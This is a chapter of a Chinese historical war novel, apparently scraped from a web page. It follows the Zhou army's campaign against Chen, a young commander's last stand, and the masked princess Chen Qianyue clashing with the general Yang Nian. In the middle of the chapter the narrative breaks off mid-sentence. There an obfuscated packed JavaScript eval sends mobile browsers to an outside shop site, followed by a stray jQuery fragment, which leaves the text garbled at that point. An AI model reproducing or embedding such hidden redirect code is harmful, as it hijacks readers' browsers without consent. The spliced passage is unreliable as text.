临川郡刚败，下一个就是“之”字末尾的衡新州。
并不比前两座城强在哪里的衡新州很快也面临绝境，与另外两个城主不同，衡新州的薛际是个胸怀强烈抱负、热血沸腾的年轻人，骨子里天生一股不服的烈性。
周国大军兵临郊外那日，薛际等不到援军，把城内仅有的四千兵马全部开到护城之外，二十辆粉骨碎肉的战车排成两列，他立在战车前拔剑立誓，高声激励将士：“生年三十，正是大丈夫报效国家之时，若战死，英灵矗立天地之间，坦然受后人祭拜，死有何惧，我定要与此城共存亡。”
四千人手持利刃，齐声怒吼，毅然决然冲进敌阵，那是近五万人的战阵。四千人究竟砍杀多少敌人，已没有一个活口能证明，战车上的刀刃全部杀到铢钝，尸体摞着尸体，脚下的泥土又软又红，腥气满满。
元意扫过狼烟滚滚的沙场，周围寂静安谧，没有一丝人声，他们赢了，却好像输了。躺在血水里的薛际面朝上，眼睛平静地闭着，右手握一根断戟，践行了他的誓言，为国捐躯，无怨无悔。
元意从不穿铠甲，一身雪白的便衣，立在这迷迷茫茫的地狱中间显得格格不入，初来江南时，他血气方刚雷厉风行，要向父亲证明他的战无不胜。
每一战过后，才发现钢铸的心也会被滚烫的鲜血融化，一点一点变软，眼前这副惨状使他无精打采，垂下双肩，只敢把视线落在薛际的尸体上，低声问身旁的贺功臣：“将军，陈国棘手的将领都给我遇到了，还是打仗本来就这么难？我在父王跟前保证，两个月时间必让陈主俯首称臣，如今已近五个月才攻下区区三个小城，损我近十万兵马。”
“圣上欲实现大统吞并八荒，今日的事不可避免。太子殿下该重整雄心，大江上的水师才是陈国主力。二殿下早就从信州到达枞阳水寨，只等殿下你一声号令。”
元意从怜悯将士的悲痛里跳出来仅一瞬的时间，陡然换了副冰冷无情的躯壳，怕弄脏鞋子，踩着死尸走回车辇上，对贺功臣吩咐：“我要大江上陈军惯常布防的所有图本。”
顿了一瞬又下令：“天气炎热，尽快掩埋尸体，此城城主的尸首单独埋葬。”
此时的陈国，上至天子勋贵，下至百姓黎民，人人自危，人人恐惧。
自杨弘易出逃不见踪迹后，陈明俨终于有点帝王的模样，收起丹青画卷、文章诗赋，按时上朝，与百官共议退敌之策，三次随公仪林登上石头城确认王师的阵仗，那舳舻千里的船只和接天连地的兵马给了他错觉，每看一次，就发出欣慰的感慨，“朕的水师天下无敌，周人南下也只能止步于江北岸，他们赶马的难道能飞过大江？”
身后的左卫蒋授、右卫公仪林阴云满面，勉强跟着应和。
两人数次跟圣上回禀周国的水师不能小觑，圣上没有任何危机感，坚信这宽阔的大江是阻止敌人的利器。
连夺三城的元意并没趁势继续南下，而是把大军驻扎在离建康最近的衡新州。他不是不想，而是军中发生疫病，大部分士卒手软脚乏浑身病色，这一拖，很快进入九月，天气转凉，将士们思家的低落情绪传遍各大营。
元意视察过大营后下了决心：这仗是必须速战速决。
就在军心不振时，都督此次平南战事的元意收到捷报，跟漳南一样难啃的东扬州已被虎威将军杨念艰难坎坷地拿下一半。
对杨念而言，这一半的疆域拿到手里确实艰辛。
曾三次打败突厥大军并深入王庭活捉王子、自诩打仗天才的杨念，在攻打东扬州时，知晓驻守此地的是大陈的二王陈明聿，做好万全准备，谨慎行事的他，还是在第一仗时深深怀疑自己的实力。
其他州郡，面对数量惊人的周军，都以防御为上策，唯独这东扬州的陈明聿骁勇好战，且兵马强盛。杨念只能把军队驻扎在离城很远的一处山下，近三个月没有大的动静。
三个月来，几乎每隔三天，日落之时，远处的山头必会出现一个戴面具的将军，骑马握长枪，像座塑像、像片剪影，像只鬼魅，俯视远处的大营。
大军到此的第一日，杨念见过这人。他仅带了三百轻骑兵就敢来袭营。
杨念从未见过能做大军先锋的将领能那样“娇小又凶恶”，戴一面涂了各种颜色的木质面具，在马上纹丝不动就显得凶神恶煞，一句话不说，叫阵都是身边牙将代劳。
杨念对他们装神弄鬼的样子嗤之以鼻，哈哈大笑，这是刀光剑影的干架，他们当玩杂耍呢？
不过哑巴似的先锋将领确实勇猛，挥舞一面红色小旗子，身后的骑兵分三个方向迅猛地冲击大营，横冲直撞，把正挖壕筑堑的周军冲的四零八落，待杨念反应过来上了马背，三百骑兵已收起刀刃，风一样钻进密林不见了。
“此人是谁？像贼一样？”
陈千越第二次袭营时，还似上次一样，预备像道闪电划过周军大营，可惜，周军的营寨已建的如铜墙铁壁，只好绕着大营兜转两圈回去。
寨门突然大开，杨念冲了出来，谁也不奔，就奔着那让他好奇几个月戴古怪面具的将领而去。此人像心头鬼魅，惹得营寨的将士们每隔三天就盼着山头的影子出现，私下甚至问：“今日那将军是否出现？”
此人动摇军心，必须要除。
杨念与面具将军斗了十几回合，发现一件很特别的事情。那人用的是一把戟，外形与平常的戟没有二致，唯独锋刃上涂了一层厚厚的黄漆，与那人冰冷的铠甲和面具对比，涂了黄漆的利刃有了一点温和的味道，杨念说不清那是什么感觉，面具下的人，一定是个细腻且小心的人。
可这是沙场，杨念并未因这一瞬的疑惑放松对他的杀意。
面具将军渐渐力怯，上前助他的人变多，都紧张他的安危。身后就是自己的大营，杨念才不怕他们。
他准备让部下活捉面具将军时，不知从何处闯出一匹黑马，四肢修长，浑身油光滑亮，没有一根杂毛，霸气威武，再转眼向上看去，那马背上的人比马还要显眼。
“虽不能拿人跟马比，但这家伙确实更英武些。”杨念眼见此人把戴古怪面具的将军拎上马背，再次像风一样钻进密林不见了。
“此人是谁？像贼一样？”
两次相同的问题，没有人给他确切答案，这伙人真像是丛林里刮过的风。
被陈明聿救回的武平公主自然免不了兄长的一顿嘈嘈。
不肯服输的陈千越把面具一摘，气恼地甩到兄长怀里，蹙起鼻子哼一声，“此次去的时机不对，待我下回夜幕时再去偷袭。”
“你几次三番袭营，姓杨的又不傻。”
“下回我赚他出来，不信捉不到他。”
“我听闻只有他捉人，不见他被捉的时候。”
“二哥为何长他锐气灭我威风？”
“我是怕你莽撞着了他的道。姓杨的来此三个月不曾攻城，跟你一样，偶尔抽个一两千的人马在郊外瞎闹一场，他这样诡异，我都要怀疑此人是不是跟城内的人暗中勾结，约定举事日子。”
然，并非这样，杨念虽年轻，打仗却很稳，凭着天生会打仗的能耐又养出一种低调的嚣张，他不似别的将军，整日担忧粮草不够，军备不足，士兵伤亡，用他的话说：缺粮短兵我就班师回朝，谁怕谁，大不了给我头衔摘了。
因此，他才敢在山下一连扎寨三个月动都不动，从夏天扎到秋天，树叶渐渐染了层黄。
面具将军常来挑衅，出没
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14162336|123338||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
时间不定，杨念从几十场小打小闹中打出几分乐趣，甚至跟大营的将士一样期待山头的剪影。
第四个月，杨念终于有动静，半夜发兵，夜袭大石县。
大石县是离东扬州治所较近的下辖小县，城不如名，一点都不顽固，被杨念大军围困的第三日终于等到救兵。
但两军对阵时并没开战，周军一溜烟撤军逃了。
反应过来的陈明聿才明白杨念把主要兵力放在攻打朔城上。
朔城的规模仅次于治所所在主城，人口富足，物资丰饶。杨念在陈明聿调出援军之际火速攻下朔城，几乎不费吹灰之力。
朔城城主是个老好人，年近七十，活得够本，不忍百姓遭涂炭，只坚守两日便开了城门。周军进城那日，百姓都懵了，纷纷惋惜豫章王辛辛苦苦守卫的地盘落入外族手里。
被耍了的陈明聿和陈千越立誓与姓杨的不共戴天，死磕到底。全国不断失守城池的消息也严重打击兄妹二人的自信，他们主动进攻，与杨念在沙场上碰面多回。
两方死亡的人数越来越多，人口只有那么多，生的远没有死的速度快，至九月时，战火不断的各城各地都因深秋到来更显凄凉。
陈明聿胜多败少，杨念败多胜少，本该陈军更有主动权，但已无外援的扬州城挡不住连日动兵，死一个人就少一员将士，而杨念，三次向朝廷要兵增援，两者间的差距越来越大。
周主对杨念有求必应，因为周国的第五路大军已在东海静候数月，这是一支从海上出发、欲从太湖出发绕到陈国后方斩断敌人尾部的军队。
眼下只等杨念牵制扬州兵马后行动。
不断的杀戮令人暴躁消沉，陈明聿眼见明朗爱笑的妹妹像换了个人，曾经嚷着杀敌立功的豪迈之情消失殆尽，自顾自站在敌楼上，背影落寞清寂，这破碎不全的江山不该由她忧心才对。
陈明聿疼她胜过世上任何人，此刻却不知如何安抚武平公主的难过，她的难过也是此刻大陈所有人的忧惧。
陈明聿走过去站在她身旁，极目远眺，目之所及不再有以往的太平景象，却不敢有半分叹息，怕惹得她更不开心，“脱下铠甲回阁中去，二哥答应你，一定会保住这片疆域，行不行？”
“父王赐我武平，我怎敢玷辱此封号，我与哥哥一起，你放心，我只是觉得，觉得过去几个月像场噩梦，不管睁眼还是睡着了都是血，迄今为止我们没收到一处捷音，全是败阵失守，连鲁云渊都兵败退回历阳，周狗是要把我们赶尽杀绝。皇城的圣上现在一定焦头烂额，真想去见他一面。”
没等陈明聿开口，公主突然问了他一个心惊肉跳的问题：“你是否想过投降？”
这是个沉重的话题，若不深思熟虑，轻易回答不了，他们个个都在自己身上背负了好听的信念，家国大义需坚守、祖宗基业不拱手让人，自困其中，必须忘记小小的我。
“祖宗打下的江山，岂能说不要就不要，我誓死不屈。”
公主瞥了他正气凛然的脸，哈哈大笑，指着他说：“我就知道你会这么说，烦死了，整天都一副硬梆梆要训人的模样。”
陈明聿也笑了，双臂撑着城墙，笑问公主：“猜我现在还有什么遗憾？”
“遗憾太多了，不知你心里最大的遗憾是什么？”
他一掌拍在陈千越肩头，把姑娘家都拍矮了一寸，“这几年让你在兵营自由出入，白白的浪费大把年华，我遗憾至今没能给你找一桩像模像样的亲事，这种事本该父王替你做主，现在只能由我代父操劳，可做兄长的见你一天天心硬成这样，你说我遗憾大不大？”
“我明白了，你转着弯说我像男人，是不是？”
“岂敢，岂敢！”